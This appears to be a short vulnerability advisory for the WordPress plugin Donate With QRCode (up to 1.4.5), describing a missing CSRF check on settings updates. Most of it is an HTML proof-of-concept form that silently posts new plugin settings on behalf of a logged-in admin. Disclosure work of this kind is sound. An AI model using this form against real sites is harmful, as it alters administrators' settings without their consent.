Donate With QRCode <= 1.4.5 – Plugin's Setting Update via CSRF

Description

The plugin does not have CSRF check in place when saving its settings, which could allow attackers to make a logged in admin update them

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wb_dwqr_setting" />
      <input type="hidden" name="do" value="set_setting" />
      <input type="hidden" name="opt[dwqr_switch]" value="1" />
      <input type="hidden" name="opt[theme_color]" value="#0066CC" />
      <input type="hidden" name="opt[dwqr_module][donate]" value="1" />
      <input type="hidden" name="opt[dwqr_module][like]" value="1" />
      <input type="hidden" name="opt[dwqr_module][poster]" value="1" />
      <input type="hidden" name="opt[dwqr_module][share]" value="1" />
      <input type="hidden" name="opt[dwqr_module][position]" value="0" />
      <input type="hidden" name="opt[items][weixin][name]" value="å¾®ä¿¡" />
      <input type="hidden" name="opt[items][weixin][img]" value="" />
      <input type="hidden" name="opt[items][alipay][name]" value="æ”¯ä»˜å®" />
      <input type="hidden" name="opt[items][alipay][img]" value="" />
      <input type="hidden" name="opt[logo_url]" value="" />
      <input type="hidden" name="opt[cover_url]" value="" />
      <input type="hidden" name="opt[poster_theme]" value="0" />
      <input type="hidden" name="opt[cover_ratio]" value="3:2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>